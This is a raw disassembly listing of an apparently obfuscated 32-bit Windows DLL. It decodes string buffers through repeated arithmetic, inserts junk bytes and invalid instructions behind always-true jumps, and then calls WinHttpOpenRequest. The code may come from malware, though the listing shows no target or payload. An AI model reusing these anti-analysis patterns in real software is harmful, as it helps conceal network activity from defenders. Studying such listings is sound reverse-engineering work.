out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xb8]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3948
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x54]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x58]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f3948
mov dword [ebp - 0x7c], 3
jmp 0x100f39b4
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f39b4
mov edx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x116]
and ax, word [ebp - 0x7c]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x116]
sub ax, cx
add ax, word [ebp - 0x78]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x116], cx
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x54]
movsx eax, byte [0x1017b440]
mov edx, dword [ebp - 0x58]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f3c5e
xor eax, eax
je 0x100f3a17
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
dec eax
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xb8], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x120]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3aaa
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x54]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x58]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f3aaa
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0xb4], 3
add eax, edi
jmp 0x100f3b1f
mov esi, dword [ebp - 0x5c]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3b22
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f3b27
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758bac7d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x54]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x120]
movsd qword [ebp - 0x74], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xb8]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3bb1
movsx ecx, byte [0x1017b440]
mov edx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f3bb1
mov dword [ebp - 0xa0], 3
jmp 0x100f3c23
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3c20
mov edx, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x74]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xa0], eax
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x116]
and ax, word [ebp - 0xa0]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x116]
sub ax, cx
add ax, word [ebp - 0xb4]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x116], cx
mov eax, dword [ebp - 0x48]
inc eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 5
jb 0x100f3010
push 0x800000
push 0
push 0
push 0
lea eax, [ebp - 0x212]
mov byte [ebp - 0x118], 1
push eax
lea eax, [ebp - 0x116]
push eax
push dword [ebp - 0xc4]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov dword [ebp - 0xb8], eax
test eax, eax
je 0x100f8c48
mov ecx, 0x18
movsd xmm0, qword [0x101448b0]
mov esi, 0x10144748
movsd qword [ebp - 0x74], xmm0
lea edi, [ebp - 0x2ac]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [ebp - 0x48], 0
cmp dword [ebp - 0x48], 0x30
jae 0x100f49c9
call fcn.100fb5a0
movsx edi, al
mov dword [ebp - 0x58], edi
call fcn.100fb5d0
movsx edx, al
mov dword [ebp - 0x5c], edx
call fcn.100fb5b0
movsx eax, al
mov dword [ebp - 0x50], eax
call fcn.100fb580
movsx esi, al
call fcn.100fb590
movsx eax, al
imul esi, eax
mov dword [ebp - 0x54], esi
call fcn.100fb5c0
movsx eax, al
mov dword [ebp - 0x60], eax
lea eax, [eax + esi*8]
mov dword [ebp - 0xbc], eax
lea eax, [esi + esi*8]
mov esi, dword [ebp - 0x50]
mov dword [ebp - 0x64], eax
nop
movsx eax, byte [0x1017b440]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
add ecx, ecx
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f3fa3
xor eax, eax
je 0x100f3d57
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8bac75], cl
mov al, byte [0xc86e0f66]
movsx eax, byte [0x1017b002]
xor edx, edx
mov esi, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movd xmm1, eax
movsx eax, byte [0x1017b001]
lea ecx, [esi + esi*8]
cvtdq2pd xmm1, xmm1
add ecx, edi
mov dword [ebp - 0xd4], ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3dee
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f3dee
mov dword [ebp - 0x90], 3
lea eax, [edi + esi]
jmp 0x100f3e63
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
xor edx, edx
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3e66
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f3e6b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x104]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xd4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3ef6
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f3ef6
mov dword [ebp - 0x94], 3
jmp 0x100f3f68
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f3f68
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x2aa]
and ax, word [ebp - 0x94]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x2aa]
sub ax, cx
add ax, word [ebp - 0x90]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x2aa], cx
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0xbc]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4743
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f423b
xor eax, eax
je 0x100f3fed
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
sub al, 0xff
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xd4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4083
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f4083
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x88], 3
add eax, edi
jmp 0x100f40fb
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f40fe
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f4103
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x10c]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xd4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f418e
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f418e
mov dword [ebp - 0x8c], 3
jmp 0x100f4200
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4200
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x2aa]
and ax, word [ebp - 0x8c]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x2aa]
sub ax, cx
add ax, word [ebp - 0x88]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x2aa], cx
movsx ecx, byte [0x1017b440]
movsx eax, byte [0x1017b001]
imul ecx, edi
add ecx, ecx
sub ecx, dword [ebp - 0x5c]
add ecx, esi
add eax, ecx
je 0x100f44a8
xor eax, eax
je 0x100f4260
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x4d89cf03]
cwde
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0x68], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x120]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f42f0
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f42f0
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x80], 3
add eax, edi
jmp 0x100f4365
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4368
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f436d
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x120]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4430
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f4430
mov dword [ebp - 0x84], 3
mov edi, dword [ebp - 0x60]
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x2aa]
and ax, word [ebp - 0x84]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x2aa]
sub ax, cx
add ax, word [ebp - 0x80]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x2aa], cx
jmp 0x100f44b3
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f43f0
mov edx, dword [ebp - 0x54]
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edx + edi]
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x84], eax
jmp 0x100f43f3
mov eax, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add eax, edi
mov dword [ebp - 0x68], eax
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [esi*8]
sub ecx, esi
add ecx, edi
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f473d
mov eax, dword [ebp - 0x48]
add eax, 0x7f
mov dword [ebp - 0xd4], eax
xor eax, eax
je 0x100f44f5
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xd4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4584
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f4584
mov eax, dword [ebp - 0x54]
add eax, dword [ebp - 0x60]
mov dword [ebp - 0x78], 3
jmp 0x100f45fc
mov esi, dword [ebp - 0x54]
xor edx, edx
mov edi, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f45ff
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
add eax, 0x7f
mov dword [ebp - 0xd4], eax
xor eax, eax
je 0x100f4610
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
shl byte [esi + 0xf], cl
outsb dx, byte [esi]
enter 0xffffffffffffbe0f, 5
add dword [eax + 0xff31017], esi
out 0xc9, al
movsx eax, byte [0x1017b002]
xor edx, edx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, dword [ebp - 0xd4]
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0x68]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4699
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f4699
mov dword [ebp - 0x7c], 3
jmp 0x100f4708
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4708
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x2aa]
and ax, word [ebp - 0x7c]
add ax, ax
movzx ecx, ax
mov eax, dword [ebp - 0x48]
movzx eax, word [ebp + eax*2 - 0x2aa]
sub ax, cx
add ax, word [ebp - 0x78]
movzx ecx, ax
mov eax, dword [ebp - 0x48]
mov word [ebp + eax*2 - 0x2aa], cx
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x58]
movsx eax, byte [0x1017b440]
mov edx, dword [ebp - 0x5c]
imul eax, edi
lea ecx, [eax + eax*2]
movsx eax, byte [0x1017b001]
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f49b8
xor eax, eax
je 0x100f476b
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x7d8b9c4d], cl
mov al, byte [0x8d89cf03]
sub al, 0xff
invalid
movsx eax, byte [0x1017b002]
xor edx, edx
mov ecx, dword [ebp - 0x64]
mov edi, dword [ebp - 0x60]
add ecx, edi
mov dword [ebp - 0xd4], ecx
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f47fe
movsx ecx, byte [0x1017b440]
imul ecx, dword [ebp - 0x58]
movsx eax, byte [0x1017b001]
shl ecx, 2
sub ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x50]
add eax, ecx
je 0x100f47fe
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0xb4], 3
add eax, edi
jmp 0x100f4876
mov esi, dword [ebp - 0x54]
xor edx, edx
movsx eax, byte [0x1017b004]
lea ecx, [edi + esi]
add eax, ecx
mov dword [ebp - 0x4c], ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4879
movsx eax, byte [0x1017b004]
lea ecx, [esi + edi]
lea ecx, [ecx + esi*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
movsd xmm0, qword [ebp - 0x9c]
sub eax, ecx
movd xmm1, eax
cvtdq2pd xmm1, xmm1
shr eax, 0x1f
addsd xmm1, qword [eax*8 + 0x101448f0]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
je 0x100f487e
add byte [edi], cl
mov esi, 0x17b00205
adc byte [ebx], dh
ror byte [ebx + 0x758ba87d], cl
mov al, 0x66
movd mm1, eax
movsx eax, byte [0x1017b002]
xor edx, edx
mov edi, dword [ebp - 0x58]
mov esi, dword [ebp - 0x50]
movd xmm1, eax
movsx eax, byte [0x1017b001]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, qword [ebp - 0x74]
movsd qword [ebp - 0x9c], xmm1
movsx eax, byte [0x1017b004]
add eax, dword [ebp - 0xd4]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f4908
movsx ecx, byte [0x1017b440]
mov edx, dword [ebp - 0x5c]
movsx eax, byte [0x1017b001]
imul ecx, edi
shl ecx, 2
sub ecx, edx
add ecx, esi
add eax, ecx
je 0x100f4908
mov dword [ebp - 0xa0], 3
jmp 0x100f497d
movsx eax, byte [0x1017b004]
xor edx, edx
add eax, dword [ebp - 0x4c]
movsx ecx, byte [0x1017b003]
div ecx
movsx ecx, byte [section..data]
sub eax, ecx
je 0x100f497a
mov edx, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x60]
movsx eax, byte [0x1017b004]
add ecx, edx
lea ecx, [ecx + edx*4]
